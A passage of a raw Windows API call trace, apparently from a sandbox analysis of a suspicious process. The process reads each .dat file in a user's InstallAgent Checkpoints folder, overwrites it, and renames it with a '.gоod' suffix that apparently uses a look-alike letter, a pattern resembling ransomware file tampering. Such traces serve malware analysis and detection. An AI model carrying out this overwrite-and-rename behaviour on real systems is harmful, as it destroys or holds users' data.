(normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4r32n.dat"), fInfoLevelId=0x0, lpFileInformation=0x387cb20 | out: lpFileInformation=0x387cb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6ed39b, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa6ed39b, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa6ed39b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1ce)) returned 1 [0222.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0222.619] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat", lpFilePart=0x0) returned 0x51 [0222.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0222.619] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4r32n.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0222.619] GetFileType (hFile=0x82c) returned 0x1 [0222.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0222.619] GetFileType (hFile=0x82c) returned 0x1 [0222.619] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1ce [0222.620] ReadFile (in: hFile=0x82c, lpBuffer=0x362c8f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x362c8f0*, lpNumberOfBytesRead=0x207ec5c8*=0x1ce, lpOverlapped=0x0) returned 1 [0222.620] CloseHandle (hObject=0x82c) returned 1 [0223.204] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat", lpFilePart=0x0) returned 0x51 [0223.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0223.204] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4r32n.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0223.205] GetFileType (hFile=0x82c) returned 0x1 [0223.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0223.205] GetFileType (hFile=0x82c) returned 0x1 [0223.206] WriteFile (in: hFile=0x82c, lpBuffer=0x354d1a0*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x354d1a0*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0223.206] CloseHandle (hObject=0x82c) returned 1 [0223.207] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat", lpFilePart=0x0) returned 0x51 [0223.207] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat.gоod", lpFilePart=0x0) returned 0x56 [0223.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0223.207] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4r32n.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6ed39b, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa6ed39b, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8140f11a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0223.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0223.207] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4r32n.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH4R32N.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh4r32n.dat.gоod")) returned 1 [0223.207] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat", lpFilePart=0x0) returned 0x51 [0223.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0223.208] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh537c2.dat"), fInfoLevelId=0x0, lpFileInformation=0x354e478 | out: lpFileInformation=0x354e478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75fa82, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa75fa82, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa75fa82, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cb)) returned 1 [0223.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0223.208] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat", lpFilePart=0x0) returned 0x51 [0223.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0223.208] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh537c2.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0223.209] GetFileType (hFile=0x82c) returned 0x1 [0223.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0223.209] GetFileType (hFile=0x82c) returned 0x1 [0223.209] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1cb [0223.209] ReadFile (in: hFile=0x82c, lpBuffer=0x354e930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x354e930*, lpNumberOfBytesRead=0x207ec5c8*=0x1cb, lpOverlapped=0x0) returned 1 [0223.210] CloseHandle (hObject=0x82c) returned 1 [0223.693] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat", lpFilePart=0x0) returned 0x51 [0223.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0223.693] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh537c2.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0223.694] GetFileType (hFile=0x860) returned 0x1 [0223.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0223.694] GetFileType (hFile=0x860) returned 0x1 [0223.694] WriteFile (in: hFile=0x860, lpBuffer=0x34fb218*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x34fb218*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0223.695] CloseHandle (hObject=0x860) returned 1 [0223.695] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat", lpFilePart=0x0) returned 0x51 [0223.695] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat.gоod", lpFilePart=0x0) returned 0x56 [0223.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0223.695] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh537c2.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa75fa82, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa75fa82, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x818adb01, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0223.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0223.695] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh537c2.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH537C2.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh537c2.dat.gоod")) returned 1 [0223.696] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat", lpFilePart=0x0) returned 0x51 [0223.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0223.696] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5fv99.dat"), fInfoLevelId=0x0, lpFileInformation=0x34fc4f0 | out: lpFileInformation=0x34fc4f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa844781, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa844781, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa844781, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c3)) returned 1 [0223.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0223.697] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat", lpFilePart=0x0) returned 0x51 [0223.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0223.697] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5fv99.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0223.697] GetFileType (hFile=0x860) returned 0x1 [0223.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0223.697] GetFileType (hFile=0x860) returned 0x1 [0223.697] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c3 [0223.697] ReadFile (in: hFile=0x860, lpBuffer=0x34fc9a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x34fc9a0*, lpNumberOfBytesRead=0x207ec5c8*=0x1c3, lpOverlapped=0x0) returned 1 [0223.698] CloseHandle (hObject=0x860) returned 1 [0225.075] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat", lpFilePart=0x0) returned 0x51 [0225.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0225.076] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5fv99.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0225.077] GetFileType (hFile=0x82c) returned 0x1 [0225.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0225.077] GetFileType (hFile=0x82c) returned 0x1 [0225.077] WriteFile (in: hFile=0x82c, lpBuffer=0x36dbde8*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x36dbde8*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0225.078] CloseHandle (hObject=0x82c) returned 1 [0225.078] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat", lpFilePart=0x0) returned 0x51 [0225.078] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat.gоod", lpFilePart=0x0) returned 0x56 [0225.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0225.078] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5fv99.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa844781, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa844781, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x825f2e96, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0225.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0225.078] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5fv99.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5FV99.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5fv99.dat.gоod")) returned 1 [0225.079] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat", lpFilePart=0x0) returned 0x51 [0225.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0225.079] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5pnb1.dat"), fInfoLevelId=0x0, lpFileInformation=0x36dd0c0 | out: lpFileInformation=0x36dd0c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7f82bd, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7f82bd, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa7f82bd, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6)) returned 1 [0225.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0225.079] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat", lpFilePart=0x0) returned 0x51 [0225.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0225.079] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5pnb1.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0225.079] GetFileType (hFile=0x82c) returned 0x1 [0225.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0225.080] GetFileType (hFile=0x82c) returned 0x1 [0225.080] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c6 [0225.080] ReadFile (in: hFile=0x82c, lpBuffer=0x36dd570, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x36dd570*, lpNumberOfBytesRead=0x207ec5c8*=0x1c6, lpOverlapped=0x0) returned 1 [0225.081] CloseHandle (hObject=0x82c) returned 1 [0225.229] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat", lpFilePart=0x0) returned 0x51 [0225.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0225.229] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5pnb1.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0225.230] GetFileType (hFile=0x808) returned 0x1 [0225.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0225.230] GetFileType (hFile=0x808) returned 0x1 [0225.230] WriteFile (in: hFile=0x808, lpBuffer=0x362f080*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x362f080*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0225.231] CloseHandle (hObject=0x808) returned 1 [0225.231] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat", lpFilePart=0x0) returned 0x51 [0225.231] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat.gоod", lpFilePart=0x0) returned 0x56 [0225.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0225.231] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5pnb1.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7f82bd, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7f82bd, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x82770687, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0225.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0225.232] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5pnb1.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH5PNB1.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh5pnb1.dat.gоod")) returned 1 [0225.232] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat", lpFilePart=0x0) returned 0x51 [0225.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0225.232] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrd1hkw.dat"), fInfoLevelId=0x0, lpFileInformation=0x3630358 | out: lpFileInformation=0x3630358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7397f6, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7397f6, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa7397f6, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0225.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0225.232] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRD1HKW.dat", lpFilePart=0x0) returned 0x51 [0225.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0225.233] 